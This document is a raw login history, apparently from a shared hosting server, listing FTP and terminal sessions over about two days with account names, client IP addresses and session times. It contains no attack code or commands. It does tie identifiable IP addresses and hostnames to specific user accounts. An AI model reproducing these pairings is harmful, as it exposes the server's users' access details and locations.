coder            ftp      80.66.244.17     Sun Oct 24 02:34 - 02:36  (00:02)
zlg              ftp      194.186.32.107   Sun Oct 24 02:23 - 02:38  (00:15)
coder            ftp      80.66.244.17     Sun Oct 24 02:11 - 02:17  (00:05)
zlg              ftp      194.186.32.107   Sun Oct 24 02:03 - 02:18  (00:15)
coder            ftp      80.66.244.17     Sun Oct 24 01:47 - 02:03  (00:15)
zlg              ftp      194.186.32.107   Sun Oct 24 01:39 - 01:55  (00:15)
forum@estfootba  ftp      194.106.127.118  Sun Oct 24 01:18 - 01:18  (00:00)
forumlif         ftp      194.106.127.118  Sun Oct 24 01:18 - 01:18  (00:00)
zlg              ftp      194.186.32.107   Sun Oct 24 01:06 - 01:36  (00:29)
zport            ftp      82.140.96.119    Sun Oct 24 01:04 - 01:21  (00:16)
forumlif         ftp      194.106.127.118  Sun Oct 24 00:47 - 00:50  (00:03)
ssquad           ftp      81.211.95.67     Sun Oct 24 00:33 - 00:33  (00:00)
design           ftp      82.131.4.167     Sun Oct 24 00:12 - 00:28  (00:15)
bk               ftp      217.159.171.34   Sun Oct 24 00:00 - 00:19  (00:18)
topbalt          ftp      217.159.171.34   Sun Oct 24 00:00 - 00:00  (00:00)
forum@estfootba  ftp      194.106.127.118  Sat Oct 23 23:59 - 23:59  (00:00)
zlg              ftp      194.186.32.63    Sat Oct 23 23:51 - 23:59  (00:07)
forumlif         ftp      194.106.127.118  Sat Oct 23 23:50 - 23:51  (00:00)
topbalt          ftp      217.159.171.34   Sat Oct 23 23:43 - 23:43  (00:00)
invest           ftp      217.107.22.7     Sat Oct 23 23:43 - 23:53  (00:10)
topbalt          ftp      217.159.171.34   Sat Oct 23 23:42 - 23:42  (00:00)
forumlif         ftp      194.106.127.118  Sat Oct 23 23:42 - 23:49  (00:07)
topbalt          ftp      217.159.171.34   Sat Oct 23 23:39 - 23:39  (00:00)
estfootball      ftp      82.147.163.30    Sat Oct 23 23:39 - 23:40  (00:01)
topbalt          ftp      217.159.171.34   Sat Oct 23 23:34 - 23:34  (00:00)
spaiznuke        ftp      192.117.97.6     Sat Oct 23 23:34 - 23:44  (00:10)
topbalt          ftp      217.159.171.34   Sat Oct 23 23:34 - 23:59  (00:24)
zotkin2@zotkin.  ftp      212.45.6.50      Sat Oct 23 23:31 - 23:42  (00:11)
oeforum          ftp      212.7.28.220     Sat Oct 23 23:28 - 23:28  (00:00)
[email protected]  ftp      83.237.13.200    Sat Oct 23 23:28 - 23:28  (00:00)
oeforum          ftp      212.7.28.220     Sat Oct 23 23:26 - 23:26  (00:00)
forumlif         ftp      194.106.127.118  Sat Oct 23 23:23 - 23:33  (00:09)
invest           ftp      217.107.23.63    Sat Oct 23 23:22 - 23:34  (00:11)
xplorer          ftp      217.106.151.1    Sat Oct 23 23:22 - 23:23  (00:00)
spaiznuke        ftp      192.117.97.6     Sat Oct 23 23:21 - 23:31  (00:10)
zotkin2@zotkin.  ftp      212.45.6.50      Sat Oct 23 23:18 - 23:28  (00:10)
oeforum          ftp      212.7.28.220     Sat Oct 23 23:13 - 23:17  (00:04)
iand             ftp      213.148.31.233   Sat Oct 23 23:12 - 23:26  (00:14)
tulksco          ftp      217.199.109.35   Sat Oct 23 23:07 - 23:07  (00:00)
tallif           ftp      213.219.75.50    Sat Oct 23 23:06 - 23:16  (00:10)
oeforum          ftp      212.7.28.220     Sat Oct 23 23:06 - 23:07  (00:00)
webb             ftp      82.147.171.109   Sat Oct 23 23:05 - 23:09  (00:03)
oeforum          ftp      212.7.28.220     Sat Oct 23 22:59 - 23:09  (00:10)
invest           ftp      81.176.137.60    Sat Oct 23 22:57 - 23:18  (00:21)
forumlif         ftp      194.106.127.118  Sat Oct 23 22:55 - 22:59  (00:04)
admin            ttyp5    82.131.4.167     Sat Oct 23 22:48 - 03:08  (04:20)
softovik         ftp      81.89.71.50      Sat Oct 23 22:46 - 23:06  (00:20)
wh               ftp      212.15.118.252   Sat Oct 23 22:41 - 22:42  (00:00)
zlg              ftp      194.186.96.164   Sat Oct 23 22:31 - 22:42  (00:11)
tallif           ftp      213.219.75.50    Sat Oct 23 22:29 - 22:44  (00:15)
softovik         ftp      81.89.71.50      Sat Oct 23 22:28 - 22:41  (00:12)
coder            ftp      80.66.244.17     Sat Oct 23 22:28 - 22:43  (00:15)
prohack          ftp      83.167.80.196    Sat Oct 23 22:17 - 22:32  (00:15)
forumlif         ftp      194.106.127.118  Sat Oct 23 21:50 - 21:51  (00:00)
albalt           ftp      217.159.170.70   Sat Oct 23 21:41 - 23:02  (01:20)
iand             ftp      213.148.31.233   Sat Oct 23 21:34 - 21:45  (00:10)
forumlif         ftp      194.106.127.118  Sat Oct 23 21:22 - 21:24  (00:01)
reasonmu         ftp      195.96.66.214    Sat Oct 23 21:00 - 21:16  (00:16)
zlg              ftp      194.186.96.154   Sat Oct 23 20:36 - 20:55  (00:19)
ssquad           ftp      81.211.95.79     Sat Oct 23 20:31 - 20:38  (00:06)
baltbal          ftp      82.147.171.109   Sat Oct 23 20:23 - 20:23  (00:00)
reasonmu         ftp      195.96.66.214    Sat Oct 23 20:19 - 20:45  (00:25)
alerian          ftp      212.7.12.6       Sat Oct 23 20:18 - 20:34  (00:15)
prohack          ftp      83.167.82.158    Sat Oct 23 20:10 - 20:26  (00:15)
alerian          ftp      212.7.12.6       Sat Oct 23 20:03 - 20:15  (00:11)
gansta           ftp      213.35.211.150   Sat Oct 23 19:48 - 20:40  (00:51)
albalt           ftp      217.159.170.70   Sat Oct 23 19:41 - 19:56  (00:15)
invest           ftp      217.107.22.172   Sat Oct 23 19:28 - 19:37  (00:09)
forest           ftp      212.179.218.66   Sat Oct 23 19:19 - 19:19  (00:00)
reasonmu         ftp      194.226.80.66    Sat Oct 23 19:17 - 20:24  (01:06)
skynet           ftp      213.130.10.141   Sat Oct 23 19:12 - 19:27  (00:14)
invest           ftp      217.107.22.172   Sat Oct 23 19:09 - 19:19  (00:10)
ssquad           ftp      195.239.140.241  Sat Oct 23 19:05 - 19:09  (00:04)
prohack          ftp      83.167.80.212    Sat Oct 23 19:02 - 19:24  (00:21)
alexclk          ftp      81.30.211.199    Sat Oct 23 18:54 - 18:54  (00:00)
iand             ftp      213.148.31.233   Sat Oct 23 18:54 - 19:14  (00:20)
reasonmu         ftp      194.226.80.66    Sat Oct 23 18:51 - 19:23  (00:31)
forum@estfootba  ftp      194.106.127.118  Sat Oct 23 18:51 - 18:53  (00:01)
detonator        ftp      195.112.226.185  Sat Oct 23 18:51 - 19:06  (00:15)
ssquad           ftp      195.239.140.241  Sat Oct 23 18:48 - 18:48  (00:00)
forest           ftp      212.179.218.66   Sat Oct 23 18:48 - 18:48  (00:00)
skynet           ftp      213.130.10.141   Sat Oct 23 18:45 - 19:10  (00:24)
forum@estfootba  ftp      194.106.127.118  Sat Oct 23 18:37 - 18:37  (00:00)
skynet           ftp      213.130.10.141   Sat Oct 23 18:16 - 18:34  (00:18)
detonator        ftp      80.255.136.38    Sat Oct 23 18:11 - 18:22  (00:10)
eugen            ftp      82.147.176.85    Sat Oct 23 18:05 - 18:06  (00:00)
detonator        ftp      80.255.136.38    Sat Oct 23 18:05 - 18:08  (00:02)
eugen            ftp      82.147.176.85    Sat Oct 23 18:01 - 18:11  (00:10)
detonator        ftp      80.255.136.38    Sat Oct 23 17:58 - 18:10  (00:12)
eugen            ftp      82.147.176.85    Sat Oct 23 17:57 - 18:07  (00:10)
skynet           ftp      213.130.10.141   Sat Oct 23 17:40 - 18:07  (00:27)
prohack          ftp      83.167.82.153    Sat Oct 23 17:38 - 18:09  (00:31)
eugen            ftp      82.147.176.85    Sat Oct 23 17:38 - 17:38  (00:00)
eugen            ftp      82.147.176.85    Sat Oct 23 17:37 - 17:47  (00:10)
gdp              ttyp4    solo.ints.net    Sat Oct 23 17:35 - 00:01  (06:25)
eugen            ftp      82.147.176.85    Sat Oct 23 17:24 - 17:34  (00:10)
ssquad           ftp      81.211.95.83     Sat Oct 23 17:15 - 17:26  (00:10)
forum@estfootba  ftp      194.106.127.118  Sat Oct 23 17:15 - 17:59  (00:43)
alexclk          ftp      81.30.211.199    Sat Oct 23 17:08 - 17:10  (00:01)
zlg              ftp      194.186.32.48    Sat Oct 23 17:06 - 17:16  (00:10)
skynet           ftp      213.130.10.141   Sat Oct 23 17:03 - 17:18  (00:15)
forum@estfootba  ftp      194.106.127.118  Sat Oct 23 17:02 - 17:05  (00:02)
forumlif         ftp      194.106.127.118  Sat Oct 23 17:01 - 17:01  (00:00)
mwsdata          ftp      80.255.136.38    Sat Oct 23 16:59 - 17:08  (00:08)
wh               ftp      212.15.118.33    Sat Oct 23 16:59 - 17:00  (00:00)
detonator        ftp      80.255.136.38    Sat Oct 23 16:59 - 16:59  (00:00)
eugen            ftp      82.147.176.85    Sat Oct 23 16:42 - 16:52  (00:10)
ssquad           ftp      81.211.95.83     Sat Oct 23 16:35 - 16:49  (00:14)
[email protected]  ftp      213.158.7.235    Sat Oct 23 16:21 - 16:53  (00:31)
zlg              ftp      194.186.32.15    Sat Oct 23 16:11 - 16:24  (00:13)
gdp              ttyp4    62.65.252.61     Sat Oct 23 16:03 - 16:22  (00:19)
oeforum          ftp      212.7.28.220     Sat Oct 23 15:50 - 16:00  (00:09)
pionerz          ftp      194.204.17.244   Sat Oct 23 15:45 - 16:06  (00:20)
oeforum          ftp      212.7.28.220     Sat Oct 23 15:40 - 15:50  (00:10)
oeforum          ftp      212.7.28.220     Sat Oct 23 15:40 - 15:50  (00:09)
gansta           ftp      213.35.211.150   Sat Oct 23 15:37 - 16:59  (01:22)
oeforum          ftp      212.7.28.220     Sat Oct 23 15:33 - 15:34  (00:00)
oeforum          ftp      212.7.28.220     Sat Oct 23 15:30 - 15:40  (00:10)
admin            ttyp0    82.131.4.167     Sat Oct 23 15:26 - 22:55  (07:28)
akorbal          ftp      62.76.4.137      Sat Oct 23 15:25 - 15:27  (00:01)
akorbal          ftp      62.76.4.137      Sat Oct 23 15:23 - 15:23  (00:00)
softovik         ftp      81.89.71.20      Sat Oct 23 15:22 - 15:47  (00:25)
xboxland         ftp      217.10.45.28     Sat Oct 23 14:59 - 15:01  (00:01)
oeforum          ftp      212.7.28.220     Sat Oct 23 14:43 - 14:43  (00:00)
topbalt          ftp      217.159.171.34   Sat Oct 23 14:01 - 14:01  (00:00)
prohack          ftp      83.167.82.253    Sat Oct 23 13:54 - 13:55  (00:01)
topbalt          ftp      217.159.171.34   Sat Oct 23 13:45 - 13:45  (00:00)
prohack          ftp      83.167.82.253    Sat Oct 23 13:44 - 13:53  (00:09)
topbalt          ftp      217.159.171.34   Sat Oct 23 13:28 - 13:28  (00:00)
forumlif         ftp      194.106.127.118  Sat Oct 23 13:27 - 13:28  (00:01)
topbalt          ftp      217.159.171.34   Sat Oct 23 13:25 - 13:25  (00:00)
forumlif         ftp      194.106.127.118  Sat Oct 23 13:23 - 13:26  (00:03)
topbalt          ftp      217.159.171.34   Sat Oct 23 13:21 - 13:21  (00:00)
invest           ftp      217.107.22.2     Sat Oct 23 13:14 - 13:25  (00:10)
design           ftp      213.35.209.11    Sat Oct 23 13:13 - 13:17  (00:04)
onlines          ftp      194.204.48.133   Sat Oct 23 13:08 - 13:24  (00:15)
sandsst          ftp      217.107.79.5     Sat Oct 23 13:05 - 13:05  (00:00)
topbalt          ftp      217.159.171.34   Sat Oct 23 13:05 - 13:05  (00:00)
tulksco          ftp      217.199.109.35   Sat Oct 23 13:03 - 13:20  (00:17)
alexclk          ftp      81.30.211.199    Sat Oct 23 12:50 - 12:50  (00:00)
tulksco          ftp      217.199.109.35   Sat Oct 23 12:50 - 12:57  (00:06)
topbalt          ftp      217.159.171.34   Sat Oct 23 12:50 - 12:50  (00:00)
alexclk          ftp      81.30.211.199    Sat Oct 23 12:50 - 12:50  (00:00)
topbalt          ftp      217.159.171.34   Sat Oct 23 12:47 - 12:47  (00:00)
admin            ttyp0    82.131.4.167     Sat Oct 23 12:45 - 15:24  (02:39)
design           ftp      213.35.209.11    Sat Oct 23 12:41 - 12:46  (00:05)
tallif           ftp      213.219.75.50    Sat Oct 23 12:39 - 12:55  (00:15)
topbalt          ftp      217.159.171.34   Sat Oct 23 12:39 - 13:00  (00:20)
bk               ftp      217.159.171.34   Sat Oct 23 12:39 - 12:39  (00:00)
alexclk          ftp      81.30.211.199    Sat Oct 23 12:36 - 12:37  (00:00)
webb             ftp      82.147.171.109   Sat Oct 23 12:27 - 12:32  (00:04)
webb             ftp      82.147.171.109   Sat Oct 23 12:27 - 12:27  (00:00)
alexclk          ftp      81.30.211.199    Sat Oct 23 12:26 - 12:43  (00:17)
prohack          ftp      83.167.82.178    Sat Oct 23 12:14 - 12:23  (00:08)
alexclk          ftp      217.86.148.209   Sat Oct 23 12:05 - 12:15  (00:10)
prohack          ftp      83.167.82.178    Sat Oct 23 12:05 - 12:21  (00:16)
hwin             ftp      80.237.115.33    Sat Oct 23 11:52 - 11:57  (00:04)
invest           ftp      217.107.23.99    Sat Oct 23 11:47 - 12:03  (00:16)
forum@estfootba  ftp      194.106.127.118  Sat Oct 23 11:35 - 11:45  (00:10)
takaja           ftp      194.204.29.7     Sat Oct 23 11:16 - 11:26  (00:10)
forest           ftp      62.219.134.226   Sat Oct 23 11:16 - 11:31  (00:15)
stive            ftp      62.219.134.226   Sat Oct 23 11:10 - 11:15  (00:04)
tulksco          ftp      217.199.109.35   Sat Oct 23 11:10 - 11:16  (00:06)
stive            ftp      80.179.51.128    Sat Oct 23 11:08 - 11:15  (00:06)
tulksco          ftp      217.199.109.35   Sat Oct 23 11:07 - 11:07  (00:00)
webb             ftp      82.147.171.109   Sat Oct 23 11:04 - 11:04  (00:00)
tulksco          ftp      217.199.109.35   Sat Oct 23 11:02 - 11:04  (00:01)
takaja           ftp      194.204.29.7     Sat Oct 23 11:02 - 13:00  (01:58)
forum@estfootba  ftp      194.106.127.118  Sat Oct 23 11:00 - 11:00  (00:00)
tulksco          ftp      217.199.109.35   Sat Oct 23 10:53 - 10:56  (00:02)
forum@estfootba  ftp      194.106.127.118  Sat Oct 23 10:52 - 10:54  (00:02)
elitemon         ftp      82.147.175.77    Sat Oct 23 10:48 - 11:06  (00:17)
tulksco          ftp      217.199.109.35   Sat Oct 23 10:21 - 10:25  (00:03)
elitemon         ftp      82.147.175.77    Sat Oct 23 10:20 - 10:24  (00:04)
[email protected]  ftp      82.115.25.10     Sat Oct 23 10:01 - 10:11  (00:10)
tulksco          ftp      217.199.109.35   Sat Oct 23 09:59 - 10:00  (00:01)
elitemon         ftp      82.147.175.77    Sat Oct 23 09:39 - 10:09  (00:29)
prohack          ftp      83.167.82.210    Sat Oct 23 09:29 - 09:30  (00:01)
tulksco          ftp      217.199.109.35   Sat Oct 23 09:23 - 09:29  (00:06)
elitemon         ftp      82.147.175.77    Sat Oct 23 08:30 - 09:35  (01:04)
prohack          ftp      83.167.82.208    Sat Oct 23 08:26 - 08:46  (00:20)
elitemon         ftp      82.147.175.77    Sat Oct 23 07:42 - 08:11  (00:28)
zlg              ftp      194.186.96.253   Sat Oct 23 05:53 - 06:05  (00:11)
onlines          ftp      194.204.48.133   Sat Oct 23 04:14 - 04:29  (00:15)
zport            ftp      81.3.154.77      Sat Oct 23 04:11 - 04:28  (00:16)
onlines          ftp      194.204.48.133   Sat Oct 23 04:07 - 04:12  (00:04)
zlg              ftp      194.186.32.103   Sat Oct 23 03:51 - 04:07  (00:16)
anonymous@sslpr  ftp      83.237.41.31     Sat Oct 23 03:40 - 03:40  (00:00)
zport            ftp      82.140.96.22     Sat Oct 23 03:28 - 03:29  (00:00)
onlines          ftp      194.204.48.133   Sat Oct 23 03:12 - 03:13  (00:00)
zlg              ftp      194.186.32.103   Sat Oct 23 03:04 - 03:21  (00:17)
story            ftp      80.235.127.254   Sat Oct 23 02:57 - 03:00  (00:03)
pionerz          ftp      194.204.17.244   Sat Oct 23 02:55 - 03:10  (00:15)
zlg              ftp      194.186.32.103   Sat Oct 23 02:52 - 03:02  (00:10)
zport            ftp      82.140.96.22     Sat Oct 23 02:18 - 03:16  (00:58)
story            ftp      80.235.127.254   Sat Oct 23 01:54 - 02:07  (00:13)
bk               ftp      217.159.171.34   Sat Oct 23 01:37 - 01:39  (00:01)
softovik         ftp      81.89.71.93      Sat Oct 23 01:36 - 01:42  (00:06)
story            ftp      80.235.127.254   Sat Oct 23 01:30 - 01:31  (00:00)
bk               ftp      217.159.171.34   Sat Oct 23 01:25 - 01:25  (00:00)
mp3cm            ftp      195.239.140.241  Sat Oct 23 01:24 - 01:25  (00:01)
story            ftp      80.235.127.254   Sat Oct 23 01:17 - 01:28  (00:10)
zport            ftp      82.140.96.22     Sat Oct 23 01:13 - 02:23  (01:09)
mp3cm            ftp      195.239.140.241  Sat Oct 23 01:13 - 01:17  (00:04)
story            ftp      80.235.127.254   Sat Oct 23 01:01 - 01:16  (00:14)
mp3cm            ftp      195.239.140.241  Sat Oct 23 00:56 - 01:16  (00:19)
topbalt          ftp      217.159.171.34   Sat Oct 23 00:55 - 00:55  (00:00)
skynet           ftp      213.130.20.83    Sat Oct 23 00:54 - 01:03  (00:09)
topbalt          ftp      217.159.171.34   Sat Oct 23 00:53 - 00:53  (00:00)
forum@estfootba  ftp      194.106.127.118  Sat Oct 23 00:46 - 00:46  (00:00)
forumlif         ftp      194.106.127.118  Sat Oct 23 00:45 - 00:46  (00:00)
mp3cm            ftp      195.239.140.241  Sat Oct 23 00:41 - 00:59  (00:18)
mp3cm            ftp      195.239.140.241  Sat Oct 23 00:39 - 00:39  (00:00)
forest           ftp      82.81.111.238    Sat Oct 23 00:33 - 00:34  (00:01)
mp3cm            ftp      195.239.140.241  Sat Oct 23 00:24 - 00:40  (00:15)
bk               ftp      217.159.171.34   Sat Oct 23 00:20 - 00:20  (00:00)
topbalt          ftp      217.159.171.34   Sat Oct 23 00:20 - 00:20  (00:00)
bk               ftp      217.159.171.34   Sat Oct 23 00:17 - 00:18  (00:00)
topbalt          ftp      217.159.171.34   Sat Oct 23 00:17 - 00:17  (00:00)
bk               ftp      217.159.171.34   Sat Oct 23 00:14 - 00:20  (00:06)
topbalt          ftp      217.159.171.34   Sat Oct 23 00:12 - 00:12  (00:00)
forumlif         ftp      194.106.127.118  Sat Oct 23 00:07 - 00:09  (00:02)
topbalt          ftp      217.159.171.34   Sat Oct 23 00:02 - 00:30  (00:27)
stive            ftp      82.81.111.238    Sat Oct 23 00:02 - 00:02  (00:00)
bk               ftp      217.159.171.34   Sat Oct 23 00:02 - 00:02  (00:00)
median           ftp      83.237.28.218    Sat Oct 23 00:00 - 00:10  (00:09)
stive            ftp      82.81.111.238    Fri Oct 22 23:53 - 23:53  (00:00)
[email protected]  ftp      193.124.103.207  Fri Oct 22 23:49 - 23:49  (00:00)
ssquad           ftp      81.211.95.108    Fri Oct 22 23:23 - 23:23  (00:00)
xboxland         ftp      217.10.45.28     Fri Oct 22 23:17 - 23:24  (00:07)
forumlif         ftp      194.106.127.118  Fri Oct 22 23:07 - 23:08  (00:00)
money            ftp      217.159.171.6    Fri Oct 22 23:03 - 23:08  (00:05)
ssquad           ftp      81.211.95.108    Fri Oct 22 23:01 - 23:12  (00:10)
money            ftp      82.135.152.34    Fri Oct 22 23:01 - 23:01  (00:00)
median           ftp      83.237.28.179    Fri Oct 22 22:59 - 22:59  (00:00)
nimble           ftp      213.130.7.56     Fri Oct 22 22:55 - 23:06  (00:11)
money            ftp      217.159.171.6    Fri Oct 22 22:51 - 23:01  (00:10)
money            ftp      217.159.171.6    Fri Oct 22 22:51 - 22:51  (00:00)
[email protected]  ftp      82.207.16.12     Fri Oct 22 22:47 - 23:02  (00:15)
tulksco          ftp      217.199.109.35   Fri Oct 22 22:44 - 22:44  (00:00)
nimble           ftp      213.130.7.56     Fri Oct 22 22:44 - 22:52  (00:08)
novo_logs        ftp      217.172.21.35    Fri Oct 22 22:30 - 22:31  (00:01)
pionerz          ftp      194.204.17.244   Fri Oct 22 22:19 - 22:58  (00:38)
deset            ftp      62.183.2.120     Fri Oct 22 21:55 - 22:03  (00:07)
iand             ftp      213.148.31.233   Fri Oct 22 21:49 - 21:51  (00:02)
albalt           ftp      217.159.170.70   Fri Oct 22 21:44 - 21:49  (00:05)
iand             ftp      213.148.31.233   Fri Oct 22 21:38 - 21:44  (00:05)
alexclk          ftp      217.5.60.167     Fri Oct 22 21:37 - 21:48  (00:10)
albalt           ftp      217.159.170.70   Fri Oct 22 21:35 - 23:50  (02:14)
iand             ftp      213.148.31.233   Fri Oct 22 21:28 - 21:30  (00:01)
pionerz          ftp      194.204.17.244   Fri Oct 22 21:11 - 21:27  (00:15)
lefthand         ftp      64.182.1.198     Fri Oct 22 21:07 - 21:07  (00:00)
isd              ftp      194.154.84.36    Fri Oct 22 21:05 - 21:52  (00:46)
lefthand         ftp      64.182.1.198     Fri Oct 22 21:05 - 21:06  (00:00)
admin            ttyp0    82.131.4.167     Fri Oct 22 21:04 - 01:51  (04:47)
lefthand         ftp      194.226.242.85   Fri Oct 22 21:02 - 21:04  (00:02)
prohack          ftp      83.167.82.230    Fri Oct 22 20:57 - 20:58  (00:01)
mp3cm            ftp      195.239.140.241  Fri Oct 22 20:53 - 21:04  (00:10)
tdz              ftp      194.84.143.232   Fri Oct 22 20:33 - 20:36  (00:02)
flooder          ftp      195.39.210.230   Fri Oct 22 20:27 - 20:27  (00:00)
prohack          ftp      83.167.82.230    Fri Oct 22 20:25 - 20:41  (00:15)
flooder          ftp      195.39.210.230   Fri Oct 22 20:22 - 20:26  (00:04)
grusper          ftp      82.131.16.127    Fri Oct 22 20:19 - 20:19  (00:00)
mp3cm            ftp      195.239.140.241  Fri Oct 22 20:17 - 20:46  (00:28)
mp3cm            ftp      195.239.140.241  Fri Oct 22 20:12 - 20:17  (00:05)
iand             ftp      213.148.31.233   Fri Oct 22 20:08 - 20:50  (00:41)
prohack          ftp      83.167.82.230    Fri Oct 22 20:08 - 20:08  (00:00)
gdpbalt          ftp      62.65.252.61     Fri Oct 22 20:00 - 20:01  (00:00)
forest           ftp      82.81.105.192    Fri Oct 22 19:51 - 19:52  (00:00)
prohack          ftp      83.167.82.230    Fri Oct 22 19:49 - 20:07  (00:18)
ssquad           ftp      81.211.95.108    Fri Oct 22 19:49 - 20:18  (00:28)
stive            ftp      212.58.195.143   Fri Oct 22 19:46 - 19:47  (00:00)
stive            ftp      212.58.195.143   Fri Oct 22 19:45 - 19:46  (00:01)
nimble           ftp      213.130.7.56     Fri Oct 22 19:43 - 20:00  (00:16)
xboxland         ftp      217.10.45.28     Fri Oct 22 19:38 - 20:14  (00:35)
stive            ftp      212.58.195.143   Fri Oct 22 19:38 - 19:39  (00:00)
skynet           ftp      213.130.21.231   Fri Oct 22 19:37 - 19:58  (00:21)
stive            ftp      212.58.195.143   Fri Oct 22 19:35 - 19:36  (00:01)
prohack          ftp      83.167.82.230    Fri Oct 22 19:34 - 19:44  (00:09)
stive            ftp      212.58.195.143   Fri Oct 22 19:33 - 19:35  (00:02)
prohack          ftp      83.167.82.230    Fri Oct 22 19:32 - 19:34  (00:02)
stive            ftp      212.58.195.143   Fri Oct 22 19:31 - 19:35  (00:03)
tdz              ftp      194.84.143.232   Fri Oct 22 19:31 - 19:33  (00:02)
nimble           ftp      213.130.7.56     Fri Oct 22 19:30 - 19:35  (00:05)
flooder          ftp      195.39.210.230   Fri Oct 22 19:29 - 19:30  (00:01)
flooder          ftp      195.39.210.230   Fri Oct 22 19:29 - 19:30  (00:01)
pionerz          ftp      194.204.17.244   Fri Oct 22 19:26 - 19:57  (00:31)
pionerz          ftp      194.204.17.244   Fri Oct 22 19:26 - 19:26  (00:00)
stive            ftp      212.58.195.143   Fri Oct 22 19:25 - 19:28  (00:03)
upsaitb          ftp      62.148.157.141   Fri Oct 22 19:22 - 19:26  (00:04)
stive            ftp      212.58.195.143   Fri Oct 22 19:21 - 19:25  (00:04)
stive            ftp      212.58.195.143   Fri Oct 22 19:20 - 19:36  (00:16)
stive            ftp      212.58.195.143   Fri Oct 22 19:19 - 19:47  (00:28)
takaja           ftp      194.204.29.7     Fri Oct 22 19:17 - 19:32  (00:15)
prohack          ftp      83.167.82.230    Fri Oct 22 19:17 - 19:32  (00:15)
xboxland         ftp      217.10.45.28     Fri Oct 22 19:15 - 19:32  (00:16)
deset            ftp      62.183.2.140     Fri Oct 22 19:15 - 19:25  (00:10)
deset            ftp      62.183.2.140     Fri Oct 22 19:15 - 19:25  (00:10)
deset            ftp      62.183.2.140     Fri Oct 22 19:15 - 19:25  (00:10)
deset            ftp      62.183.2.140     Fri Oct 22 19:14 - 19:24  (00:09)
deset            ftp      62.183.2.140     Fri Oct 22 19:14 - 19:14  (00:00)
forum@estfootba  ftp      194.106.127.118  Fri Oct 22 19:13 - 19:14  (00:00)
stive            ftp      212.58.195.143   Fri Oct 22 19:12 - 19:20  (00:07)
stive            ftp      212.58.195.143   Fri Oct 22 19:12 - 19:20  (00:08)
stive            ftp      212.58.195.143   Fri Oct 22 19:12 - 19:12  (00:00)
skynet           ftp      213.130.21.231   Fri Oct 22 19:09 - 19:25  (00:16)
ssquad           ftp      81.211.95.108    Fri Oct 22 19:08 - 19:11  (00:02)
deset            ftp      62.183.2.140     Fri Oct 22 19:08 - 19:08  (00:00)
forumlif         ftp      194.204.37.86    Fri Oct 22 19:06 - 19:18  (00:11)
pionerz          ftp      194.204.17.244   Fri Oct 22 19:05 - 19:23  (00:17)
stive            ftp      212.58.195.143   Fri Oct 22 19:04 - 19:12  (00:07)
stive            ftp      212.58.195.143   Fri Oct 22 19:02 - 19:12  (00:09)
stive            ftp      212.58.195.143   Fri Oct 22 19:00 - 19:11  (00:10)
stive            ftp      212.58.195.143   Fri Oct 22 18:58 - 19:00  (00:01)
flooder          ftp      195.39.210.230   Fri Oct 22 18:57 - 18:57  (00:00)
flooder          ftp      195.39.210.230   Fri Oct 22 18:56 - 18:57  (00:00)
deset            ftp      62.183.2.140     Fri Oct 22 18:54 - 19:03  (00:09)
deset            ftp      62.183.2.140     Fri Oct 22 18:53 - 18:54  (00:00)
deset            ftp      62.183.2.140     Fri Oct 22 18:53 - 18:53  (00:00)
stive            ftp      212.58.195.143   Fri Oct 22 18:49 - 18:58  (00:09)
stive            ftp      212.58.195.143   Fri Oct 22 18:47 - 19:04  (00:17)
stive            ftp      212.58.195.143   Fri Oct 22 18:45 - 18:47  (00:02)
stive            ftp      212.58.195.143   Fri Oct 22 18:45 - 18:45  (00:00)
stive            ftp      212.58.195.143   Fri Oct 22 18:44 - 18:45  (00:00)
xboxland         ftp      217.10.45.28     Fri Oct 22 18:44 - 18:56  (00:11)
vacuum           ftp      213.184.226.192  Fri Oct 22 18:43 - 18:50  (00:06)
stive            ftp      212.58.195.143   Fri Oct 22 18:41 - 18:44  (00:03)
stive            ftp      212.58.195.143   Fri Oct 22 18:41 - 18:41  (00:00)
takaja           ftp      194.204.29.7     Fri Oct 22 18:39 - 19:03  (00:23)
stive            ftp      212.58.195.143   Fri Oct 22 18:38 - 18:40  (00:02)
stive            ftp      212.58.195.143   Fri Oct 22 18:38 - 18:38  (00:00)
anonymous@sslpr  ftp      81.26.144.133    Fri Oct 22 18:37 - 18:45  (00:07)
anonymous@sslpr  ftp      81.26.144.133    Fri Oct 22 18:37 - 18:45  (00:08)
skynet           ftp      194.44.18.90     Fri Oct 22 18:36 - 18:49  (00:13)
stive            ftp      212.58.195.143   Fri Oct 22 18:34 - 18:40  (00:06)
prohack          ftp      83.167.82.230    Fri Oct 22 18:33 - 18:49  (00:15)
anonymous@sslpr  ftp      81.26.144.133    Fri Oct 22 18:33 - 18:43  (00:10)
anonymous@sslpr  ftp      81.26.144.133    Fri Oct 22 18:33 - 18:43  (00:10)
anonymous@sslpr  ftp      81.26.144.133    Fri Oct 22 18:32 - 18:42  (00:10)
stive            ftp      212.58.195.143   Fri Oct 22 18:32 - 18:34  (00:02)
ssquad           ftp      81.211.95.108    Fri Oct 22 18:31 - 18:33  (00:01)
vacuum           ftp      213.184.226.184  Fri Oct 22 18:30 - 18:46  (00:15)
stive            ftp      212.58.195.143   Fri Oct 22 18:29 - 18:32  (00:02)
stive            ftp      212.58.195.143   Fri Oct 22 18:29 - 18:29  (00:00)
stive            ftp      212.58.195.143   Fri Oct 22 18:29 - 18:29  (00:00)
stive            ftp      212.58.195.143   Fri Oct 22 18:28 - 19:18  (00:50)
odyssey          ftp      83.136.241.18    Fri Oct 22 18:26 - 18:45  (00:19)
ssquad           ftp      81.211.95.108    Fri Oct 22 18:26 - 18:30  (00:04)
odyssey          ftp      83.136.241.18    Fri Oct 22 18:21 - 18:39  (00:17)
forest           ftp      82.81.105.192    Fri Oct 22 18:18 - 18:18  (00:00)
skynet           ftp      213.130.23.205   Fri Oct 22 18:18 - 18:18  (00:00)
alexclk          ftp      82.131.4.167     Fri Oct 22 18:14 - 18:14  (00:00)
stive            ftp      212.58.195.143   Fri Oct 22 18:09 - 18:13  (00:04)
ssquad           ftp      81.211.95.108    Fri Oct 22 18:05 - 18:26  (00:20)
alexclk          ftp      82.131.4.167     Fri Oct 22 18:04 - 18:14  (00:10)
ssquad           ftp      81.211.95.108    Fri Oct 22 18:03 - 18:05  (00:02)
odyssey          ftp      83.136.241.18    Fri Oct 22 18:01 - 18:19  (00:18)
oeforum          ftp      212.7.28.220     Fri Oct 22 17:58 - 17:59  (00:00)
oeforum          ftp      212.7.28.220     Fri Oct 22 17:57 - 18:07  (00:10)
spaiznuke        ftp      192.117.97.6     Fri Oct 22 17:43 - 17:46  (00:02)
spaiznuke        ftp      192.117.97.6     Fri Oct 22 17:35 - 17:41  (00:06)
grusper          ftp      82.131.16.127    Fri Oct 22 17:27 - 17:51  (00:23)
